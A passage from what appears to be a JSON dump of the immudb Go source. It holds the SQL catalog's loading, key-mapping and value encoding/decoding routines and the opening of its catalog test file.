{\n\t\t\tcatlg.maxTableID++\n\t\t\treturn nil\n\t\t}\n\n\t\tcolSpecs, maxColID, err := loadColSpecs(ctx, tableID, tx, catlg.enginePrefix, copyToTx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tchecks, err := loadCheckConstraints(ctx, dbID, tableID, tx, catlg.enginePrefix, copyToTx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttable, err := catlg.newTable(string(value), colSpecs, checks, maxColID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif tableID != table.id {\n\t\t\treturn ErrCorruptedData\n\t\t}\n\n\t\tif copyToTx {\n\t\t\tif err := tx.Set(key, nil, value); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn table.loadIndexes(ctx, catlg.enginePrefix, tx, copyToTx)\n\t})\n}\n\nfunc loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) {\n\tpkReaderSpec := store.KeyReaderSpec{\n\t\tPrefix:    MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)),\n\t\tDescOrder: true,\n\t}\n\n\tpkReader, err := tx.NewKeyReader(pkReaderSpec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer pkReader.Close()\n\n\tmkey, _, err := pkReader.Read(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey)\n}\n\nfunc loadColSpecs(ctx context.Context, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[uint32]*ColSpec, uint32, error) {\n\tprefix := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID))\n\n\tvar maxColID uint32\n\tspecs := make(map[uint32]*ColSpec)\n\n\terr := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error {\n\t\tif deleted {\n\t\t\tmaxColID++\n\t\t\treturn nil\n\t\t}\n\n\t\tcolSpec, colID, err := loadColSpec(sqlPrefix, key, value, tableID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmaxColID++\n\n\t\tspecs[colID] = colSpec\n\n\t\tif copyToTx {\n\t\t\treturn tx.Set(key, nil, value)\n\t\t}\n\t\treturn nil\n\t})\n\treturn specs, maxColID, err\n}\n\nfunc loadColSpec(sqlPrefix, key, value []byte, tableID uint32) (*ColSpec, uint32, error) {\n\tif len(value) < 6 {\n\t\treturn nil, 0, ErrCorruptedData\n\t}\n\n\tmdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, key)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tif mdbID != 1 || tableID != mtableID {\n\t\treturn nil, 0, ErrCorruptedData\n\t}\n\n\treturn &ColSpec{\n\t\tcolName:       string(value[5:]),\n\t\tcolType:       colType,\n\t\tmaxLen:        int(binary.BigEndian.Uint32(value[1:])),\n\t\tautoIncrement: value[0]&autoIncrementFlag != 0,\n\t\tnotNull:       value[0]&nullableFlag != 0,\n\t}, colID, nil\n}\n\nfunc loadCheckConstraints(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[string]CheckConstraint, error) {\n\tprefix := MapKey(sqlPrefix, catalogCheckPrefix, EncodeID(dbID), EncodeID(tableID))\n\tchecks := make(map[string]CheckConstraint)\n\n\terr := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error {\n\t\tif deleted {\n\t\t\treturn nil\n\t\t}\n\n\t\tcheck, err := parseCheckConstraint(sqlPrefix, key, value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tchecks[check.name] = *check\n\n\t\tif copyToTx {\n\t\t\treturn tx.Set(key, nil, value)\n\t\t}\n\t\treturn nil\n\t})\n\treturn checks, err\n}\n\nfunc (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, copyToTx bool) error {\n\tprefix := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id))\n\n\treturn iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error {\n\t\tdbID, tableID, indexID, err := unmapIndex(sqlPrefix, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif table.id != tableID || dbID != 1 {\n\t\t\treturn ErrCorruptedData\n\t\t}\n\n\t\tif deleted {\n\t\t\ttable.maxIndexID++\n\t\t\treturn nil\n\t\t}\n\n\t\tif copyToTx {\n\t\t\tif err := tx.Set(key, nil, value); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\t// v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}\n\t\t\tcolSpecLen := EncIDLen + 1\n\t\t\tif len(value) < 1+colSpecLen || len(value)%colSpecLen != 1 {\n\t\t\t\treturn ErrCorruptedData\n\t\t\t}\n\n\t\t\tvar colIDs []uint32\n\t\t\tfor i := 1; i < len(value); i += colSpecLen {\n\t\t\t\tcolID := binary.BigEndian.Uint32(value[i:])\n\n\t\t\t\t// TODO: currently only ASC order is supported\n\t\t\t\tif value[i+EncIDLen] != 0 {\n\t\t\t\t\treturn ErrCorruptedData\n\t\t\t\t}\n\t\t\t\tcolIDs = append(colIDs, colID)\n\t\t\t}\n\n\t\t\tindex, err := table.newIndex(value[0] > 0, colIDs)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif indexID != index.id {\n\t\t\t\treturn ErrCorruptedData\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}\n\nfunc trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) {\n\tif len(prefix)+len(mappingPrefix) > len(mkey) ||\n\t\t!bytes.Equal(prefix, mkey[:len(prefix)]) ||\n\t\t!bytes.Equal(mappingPrefix, mkey[len(prefix):len(prefix)+len(mappingPrefix)]) {\n\t\treturn nil, ErrIllegalMappedKey\n\t}\n\n\treturn mkey[len(prefix)+len(mappingPrefix):], nil\n}\n\nfunc unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) {\n\tencID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix))\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\tif len(encID) != EncIDLen*2 {\n\t\treturn 0, 0, ErrCorruptedData\n\t}\n\n\tdbID = binary.BigEndian.Uint32(encID)\n\ttableID = binary.BigEndian.Uint32(encID[EncIDLen:])\n\n\treturn\n}\n\nfunc unmapCheckID(prefix, mkey []byte) (uint32, error) {\n\tencID, err := trimPrefix(prefix, mkey, []byte(catalogCheckPrefix))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif len(encID) < 3*EncIDLen {\n\t\treturn 0, ErrCorruptedData\n\t}\n\treturn binary.BigEndian.Uint32(encID[2*EncIDLen:]), nil\n}\n\nfunc parseCheckConstraint(prefix, key, value []byte) (*CheckConstraint, error) {\n\tid, err := unmapCheckID(prefix, key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnameLen := value[0] + 1\n\tname := string(value[1 : 1+nameLen])\n\n\texp, err := ParseExpFromString(string(value[1+nameLen:]))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &CheckConstraint{\n\t\tid:   id,\n\t\tname: name,\n\t\texp:  exp,\n\t}, nil\n}\n\nfunc unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) {\n\tencID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix))\n\tif err != nil {\n\t\treturn 0, 0, 0, \"\", err\n\t}\n\n\tif len(encID) < EncIDLen*3 {\n\t\treturn 0, 0, 0, \"\", ErrCorruptedData\n\t}\n\n\tdbID = binary.BigEndian.Uint32(encID)\n\ttableID = binary.BigEndian.Uint32(encID[EncIDLen:])\n\tcolID = binary.BigEndian.Uint32(encID[2*EncIDLen:])\n\n\tcolType, err = asType(string(encID[EncIDLen*3:]))\n\tif err != nil {\n\t\treturn 0, 0, 0, \"\", ErrCorruptedData\n\t}\n\n\treturn\n}\n\nfunc asType(t string) (SQLValueType, error) {\n\tswitch t {\n\tcase IntegerType,\n\t\tFloat64Type,\n\t\tBooleanType,\n\t\tVarcharType,\n\t\tUUIDType,\n\t\tBLOBType,\n\t\tTimestampType,\n\t\tJSONType:\n\t\treturn t, nil\n\t}\n\treturn t, ErrCorruptedData\n}\n\nfunc unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) {\n\tencID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix))\n\tif err != nil {\n\t\treturn 0, 0, 0, err\n\t}\n\n\tif len(encID) != EncIDLen*3 {\n\t\treturn 0, 0, 0, ErrCorruptedData\n\t}\n\n\tdbID = binary.BigEndian.Uint32(encID)\n\ttableID = binary.BigEndian.Uint32(encID[EncIDLen:])\n\tindexID = binary.BigEndian.Uint32(encID[EncIDLen*2:])\n\n\treturn\n}\n\nfunc unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) {\n\tif index == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tenc, err := trimPrefix(sqlPrefix, mkey, []byte(MappedPrefix))\n\tif err != nil {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\tif len(enc) <= EncIDLen*2 {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\toff := 0\n\n\ttableID := binary.BigEndian.Uint32(enc[off:])\n\toff += EncIDLen\n\n\tindexID := binary.BigEndian.Uint32(enc[off:])\n\toff += EncIDLen\n\n\tif tableID != index.table.id || indexID != index.id {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\t//read index values\n\tfor _, col := range index.cols {\n\t\tif enc[off] == KeyValPrefixNull {\n\t\t\toff += 1\n\t\t\tcontinue\n\t\t}\n\t\tif enc[off] != KeyValPrefixNotNull {\n\t\t\treturn nil, ErrCorruptedData\n\t\t}\n\t\toff += 1\n\n\t\tmaxLen := col.MaxLen()\n\t\tif variableSizedType(col.colType) {\n\t\t\tmaxLen += EncLenLen\n\t\t}\n\t\tif len(enc)-off < maxLen {\n\t\t\treturn nil, ErrCorruptedData\n\t\t}\n\n\t\toff += maxLen\n\t}\n\n\t//PK cannot be nil\n\tif len(enc)-off < 1 {\n\t\treturn nil, ErrCorruptedData\n\t}\n\n\treturn enc[off:], nil\n}\n\nfunc variableSizedType(sqlType SQLValueType) bool {\n\treturn sqlType == VarcharType || sqlType == BLOBType\n}\n\nfunc MapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte {\n\tmkeyLen := len(prefix) + len(mappingPrefix)\n\n\tfor _, ev := range encValues {\n\t\tmkeyLen += len(ev)\n\t}\n\n\tmkey := make([]byte, mkeyLen)\n\n\toff := 0\n\n\tcopy(mkey, prefix)\n\toff += len(prefix)\n\n\tcopy(mkey[off:], []byte(mappingPrefix))\n\toff += len(mappingPrefix)\n\n\tfor _, ev := range encValues {\n\t\tcopy(mkey[off:], ev)\n\t\toff += len(ev)\n\t}\n\n\treturn mkey\n}\n\nfunc EncodeID(id uint32) []byte {\n\tvar encID [EncIDLen]byte\n\tbinary.BigEndian.PutUint32(encID[:], id)\n\treturn encID[:]\n}\n\nconst (\n\tKeyValPrefixNull       byte = 0x20\n\tKeyValPrefixNotNull    byte = 0x80\n\tKeyValPrefixUpperBound byte = 0xFF\n)\n\nfunc EncodeValueAsKey(val TypedValue, colType SQLValueType, maxLen int) ([]byte, int, error) {\n\treturn EncodeRawValueAsKey(val.RawValue(), colType, maxLen)\n}\n\n// EncodeRawValueAsKey encodes a value in a b-tree meaningful way.\nfunc EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, int, error) {\n\tif maxLen <= 0 {\n\t\treturn nil, 0, ErrInvalidValue\n\t}\n\tif maxLen > MaxKeyLen {\n\t\treturn nil, 0, ErrMaxKeyLengthExceeded\n\t}\n\n\tconvVal, err := mayApplyImplicitConversion(val, colType)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tif convVal == nil {\n\t\treturn []byte{KeyValPrefixNull}, 0, nil\n\t}\n\n\tswitch colType {\n\tcase VarcharType:\n\t\t{\n\t\t\tstrVal, ok := convVal.(string)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not a string: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\tif len(strVal) > maxLen {\n\t\t\t\treturn nil, 0, ErrMaxLengthExceeded\n\t\t\t}\n\n\t\t\t// notnull + value + padding + len(value)\n\t\t\tencv := make([]byte, 1+maxLen+EncLenLen)\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tcopy(encv[1:], []byte(strVal))\n\t\t\tbinary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(strVal)))\n\n\t\t\treturn encv, len(strVal), nil\n\t\t}\n\tcase IntegerType:\n\t\t{\n\t\t\tif maxLen != 8 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tintVal, ok := convVal.(int64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not an integer: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// v\n\t\t\tvar encv [9]byte\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tbinary.BigEndian.PutUint64(encv[1:], uint64(intVal))\n\t\t\t// map to unsigned integer space for lexical sorting order\n\t\t\tencv[1] ^= 0x80\n\n\t\t\treturn encv[:], 8, nil\n\t\t}\n\tcase BooleanType:\n\t\t{\n\t\t\tif maxLen != 1 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tboolVal, ok := convVal.(bool)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not a boolean: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// v\n\t\t\tvar encv [2]byte\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tif boolVal {\n\t\t\t\tencv[1] = 1\n\t\t\t}\n\n\t\t\treturn encv[:], 1, nil\n\t\t}\n\tcase BLOBType:\n\t\t{\n\t\t\tblobVal, ok := convVal.([]byte)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not a blob: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\tif len(blobVal) > maxLen {\n\t\t\t\treturn nil, 0, ErrMaxLengthExceeded\n\t\t\t}\n\n\t\t\t// notnull + value + padding + len(value)\n\t\t\tencv := make([]byte, 1+maxLen+EncLenLen)\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tcopy(encv[1:], []byte(blobVal))\n\t\t\tbinary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(blobVal)))\n\n\t\t\treturn encv, len(blobVal), nil\n\t\t}\n\tcase UUIDType:\n\t\t{\n\t\t\tuuidVal, ok := convVal.(uuid.UUID)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not an UUID: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// notnull + value\n\t\t\tencv := make([]byte, 17)\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tcopy(encv[1:], uuidVal[:])\n\n\t\t\treturn encv, 16, nil\n\t\t}\n\tcase TimestampType:\n\t\t{\n\t\t\tif maxLen != 8 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\ttimeVal, ok := convVal.(time.Time)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not a timestamp: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// v\n\t\t\tvar encv [9]byte\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tbinary.BigEndian.PutUint64(encv[1:], uint64(timeVal.UnixNano()))\n\t\t\t// map to unsigned integer space for lexical sorting order\n\t\t\tencv[1] ^= 0x80\n\n\t\t\treturn encv[:], 8, nil\n\t\t}\n\tcase Float64Type:\n\t\t{\n\t\t\tfloatVal, ok := convVal.(float64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"value is not a float: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// Apart form the sign bit, bit representation of float64\n\t\t\t// can be sorted lexicographically\n\t\t\tfloatBits := math.Float64bits(floatVal)\n\n\t\t\tvar encv [9]byte\n\t\t\tencv[0] = KeyValPrefixNotNull\n\t\t\tbinary.BigEndian.PutUint64(encv[1:], floatBits)\n\n\t\t\tif encv[1]&0x80 != 0 {\n\t\t\t\t// For negative numbers, the order must be reversed,\n\t\t\t\t// we also negate the sign bit so that all negative\n\t\t\t\t// numbers end up in the smaller half of values\n\t\t\t\tfor i := 1; i < 9; i++ {\n\t\t\t\t\tencv[i] = ^encv[i]\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// For positive numbers, the order is already correct,\n\t\t\t\t// we only have to set the sign bit to 1 to ensure that\n\t\t\t\t// positive numbers end in the larger half of values\n\t\t\t\tencv[1] ^= 0x80\n\t\t\t}\n\n\t\t\treturn encv[:], 8, nil\n\t\t}\n\t}\n\n\treturn nil, 0, ErrInvalidValue\n}\n\nfunc getEncodeRawValue(val TypedValue, colType SQLValueType) (interface{}, error) {\n\tif colType != JSONType || val.Type() == JSONType {\n\t\treturn val.RawValue(), nil\n\t}\n\n\tif val.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: invalid json value\", ErrInvalidValue)\n\t}\n\ts, _ := val.RawValue().(string)\n\n\traw := json.RawMessage(s)\n\tif !json.Valid(raw) {\n\t\treturn nil, fmt.Errorf(\"%w: invalid json value\", ErrInvalidValue)\n\t}\n\treturn raw, nil\n}\n\nfunc EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) {\n\tv, err := getEncodeRawValue(val, colType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn EncodeRawValue(v, colType, maxLen, false)\n}\n\nfunc EncodeNullableValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) {\n\tv, err := getEncodeRawValue(val, colType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn EncodeRawValue(v, colType, maxLen, true)\n}\n\n// EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue.\nfunc EncodeRawValue(val interface{}, colType SQLValueType, maxLen int, nullable bool) ([]byte, error) {\n\tconvVal, err := mayApplyImplicitConversion(val, colType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif convVal == nil && !nullable {\n\t\treturn nil, ErrInvalidValue\n\t}\n\n\tif convVal == nil {\n\t\tencv := make([]byte, EncLenLen)\n\t\tbinary.BigEndian.PutUint32(encv[:], uint32(0))\n\t\treturn encv, nil\n\t}\n\n\tswitch colType {\n\tcase VarcharType:\n\t\t{\n\t\t\tstrVal, ok := convVal.(string)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not a string: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\tif maxLen > 0 && len(strVal) > maxLen {\n\t\t\t\treturn nil, ErrMaxLengthExceeded\n\t\t\t}\n\n\t\t\t// len(v) + v\n\t\t\tencv := make([]byte, EncLenLen+len(strVal))\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(len(strVal)))\n\t\t\tcopy(encv[EncLenLen:], []byte(strVal))\n\n\t\t\treturn encv, nil\n\t\t}\n\tcase IntegerType:\n\t\t{\n\t\t\tintVal, ok := convVal.(int64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not an integer: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// map to unsigned integer space\n\t\t\t// len(v) + v\n\t\t\tvar encv [EncLenLen + 8]byte\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(8))\n\t\t\tbinary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal))\n\n\t\t\treturn encv[:], nil\n\t\t}\n\tcase BooleanType:\n\t\t{\n\t\t\tboolVal, ok := convVal.(bool)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not a boolean: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// len(v) + v\n\t\t\tvar encv [EncLenLen + 1]byte\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(1))\n\t\t\tif boolVal {\n\t\t\t\tencv[EncLenLen] = 1\n\t\t\t}\n\n\t\t\treturn encv[:], nil\n\t\t}\n\tcase BLOBType:\n\t\t{\n\t\t\tvar blobVal []byte\n\n\t\t\tif val != nil {\n\t\t\t\tv, ok := convVal.([]byte)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn nil, fmt.Errorf(\"value is not a blob: %w\", ErrInvalidValue)\n\t\t\t\t}\n\t\t\t\tblobVal = v\n\t\t\t}\n\n\t\t\tif maxLen > 0 && len(blobVal) > maxLen {\n\t\t\t\treturn nil, ErrMaxLengthExceeded\n\t\t\t}\n\n\t\t\t// len(v) + v\n\t\t\tencv := make([]byte, EncLenLen+len(blobVal))\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(len(blobVal)))\n\t\t\tcopy(encv[EncLenLen:], blobVal)\n\n\t\t\treturn encv[:], nil\n\t\t}\n\tcase JSONType:\n\t\trawJson, ok := val.(json.RawMessage)\n\t\tif !ok {\n\t\t\tdata, err := json.Marshal(val)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\trawJson = data\n\t\t}\n\n\t\t// len(v) + v\n\t\tencv := make([]byte, EncLenLen+len(rawJson))\n\t\tbinary.BigEndian.PutUint32(encv[:], uint32(len(rawJson)))\n\t\tcopy(encv[EncLenLen:], rawJson)\n\n\t\treturn encv[:], nil\n\tcase UUIDType:\n\t\t{\n\t\t\tuuidVal, ok := convVal.(uuid.UUID)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not an UUID: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// len(v) + v\n\t\t\tvar encv [EncLenLen + 16]byte\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(16))\n\t\t\tcopy(encv[EncLenLen:], uuidVal[:])\n\n\t\t\treturn encv[:], nil\n\t\t}\n\tcase TimestampType:\n\t\t{\n\t\t\ttimeVal, ok := convVal.(time.Time)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not a timestamp: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\t// len(v) + v\n\t\t\tvar encv [EncLenLen + 8]byte\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(8))\n\t\t\tbinary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal)))\n\n\t\t\treturn encv[:], nil\n\t\t}\n\tcase Float64Type:\n\t\t{\n\t\t\tfloatVal, ok := convVal.(float64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"value is not a float: %w\", ErrInvalidValue)\n\t\t\t}\n\n\t\t\tvar encv [EncLenLen + 8]byte\n\t\t\tfloatBits := math.Float64bits(floatVal)\n\t\t\tbinary.BigEndian.PutUint32(encv[:], uint32(8))\n\t\t\tbinary.BigEndian.PutUint64(encv[EncLenLen:], floatBits)\n\n\t\t\treturn encv[:], nil\n\t\t}\n\t}\n\n\treturn nil, ErrInvalidValue\n}\n\nfunc DecodeValueLength(b []byte) (int, int, error) {\n\tif len(b) < EncLenLen {\n\t\treturn 0, 0, ErrCorruptedData\n\t}\n\n\tvlen := int(binary.BigEndian.Uint32(b[:]))\n\tvoff := EncLenLen\n\n\tif vlen < 0 || len(b) < voff+vlen {\n\t\treturn 0, 0, ErrCorruptedData\n\t}\n\n\treturn vlen, EncLenLen, nil\n}\n\nfunc DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) {\n\treturn decodeValue(b, colType, false)\n}\n\nfunc DecodeNullableValue(b []byte, colType SQLValueType) (TypedValue, int, error) {\n\treturn decodeValue(b, colType, true)\n}\n\nfunc decodeValue(b []byte, colType SQLValueType, nullable bool) (TypedValue, int, error) {\n\tvlen, voff, err := DecodeValueLength(b)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tif vlen == 0 && nullable {\n\t\treturn &NullValue{t: colType}, voff, nil\n\t}\n\n\tswitch colType {\n\tcase VarcharType:\n\t\t{\n\t\t\tv := string(b[voff : voff+vlen])\n\t\t\tvoff += vlen\n\n\t\t\treturn &Varchar{val: v}, voff, nil\n\t\t}\n\tcase IntegerType:\n\t\t{\n\t\t\tif vlen != 8 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tv := binary.BigEndian.Uint64(b[voff:])\n\t\t\tvoff += vlen\n\n\t\t\treturn &Integer{val: int64(v)}, voff, nil\n\t\t}\n\tcase BooleanType:\n\t\t{\n\t\t\tif vlen != 1 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tv := b[voff] == 1\n\t\t\tvoff += 1\n\n\t\t\treturn &Bool{val: v}, voff, nil\n\t\t}\n\tcase BLOBType:\n\t\t{\n\t\t\tv := b[voff : voff+vlen]\n\t\t\tvoff += vlen\n\n\t\t\treturn &Blob{val: v}, voff, nil\n\t\t}\n\tcase JSONType:\n\t\t{\n\t\t\tv := b[voff : voff+vlen]\n\t\t\tvoff += vlen\n\n\t\t\tvar val interface{}\n\t\t\terr = json.Unmarshal(v, &val)\n\n\t\t\treturn &JSON{val: val}, voff, err\n\t\t}\n\tcase UUIDType:\n\t\t{\n\t\t\tif vlen != 16 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tu, err := uuid.FromBytes(b[voff : voff+16])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, fmt.Errorf(\"%w: %s\", ErrCorruptedData, err.Error())\n\t\t\t}\n\n\t\t\tvoff += vlen\n\n\t\t\treturn &UUID{val: u}, voff, nil\n\t\t}\n\tcase TimestampType:\n\t\t{\n\t\t\tif vlen != 8 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\n\t\t\tv := binary.BigEndian.Uint64(b[voff:])\n\t\t\tvoff += vlen\n\n\t\t\treturn &Timestamp{val: TimeFromInt64(int64(v))}, voff, nil\n\t\t}\n\tcase Float64Type:\n\t\t{\n\t\t\tif vlen != 8 {\n\t\t\t\treturn nil, 0, ErrCorruptedData\n\t\t\t}\n\t\t\tv := binary.BigEndian.Uint64(b[voff:])\n\t\t\tvoff += vlen\n\t\t\treturn &Float64{val: math.Float64frombits(v)}, voff, nil\n\t\t}\n\t}\n\n\treturn nil, 0, ErrCorruptedData\n}\n\n// addSchemaToTx adds the schema of the catalog to the given transaction.\nfunc (catlg *Catalog) addSchemaToTx(ctx context.Context, tx *store.OngoingTx) error {\n\treturn catlg.loadCatalog(ctx, tx, true)\n}\n\nfunc iteratePrefix(ctx context.Context, tx *store.OngoingTx, prefix []byte, onSpec func(key, value []byte, deleted bool) error) error {\n\tdbReaderSpec := store.KeyReaderSpec{\n\t\tPrefix: prefix,\n\t}\n\n\tcolSpecReader, err := tx.NewKeyReader(dbReaderSpec)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer colSpecReader.Close()\n\n\tfor {\n\t\tmkey, vref, err := colSpecReader.Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmd := vref.KVMetadata()\n\t\tif md != nil && md.IsExpirable() {\n\t\t\treturn ErrBrokenCatalogColSpecExpirable\n\t\t}\n\n\t\tdeleted := md != nil && md.Deleted()\n\t\tvar v []byte\n\t\tif !deleted {\n\t\t\tv, err = vref.Resolve()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr = onSpec(mkey, v, deleted)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/sql/catalog_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFromEmptyCatalog(t *testing.T) {\n\tdb := newCatalog(nil)\n\n\t_, err := db.GetTableByName(\"table1\")\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\texists := db.ExistTable(\"table1\")\n\trequire.False(t, exists)\n\n\t_, err = db.GetTableByID(1)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = db.GetTableByName(\"table1\")\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = db.newTable(\"\", nil, nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.newTable(\"table1\", nil, nil, 0)\n\trequire.ErrorIs(t, err, 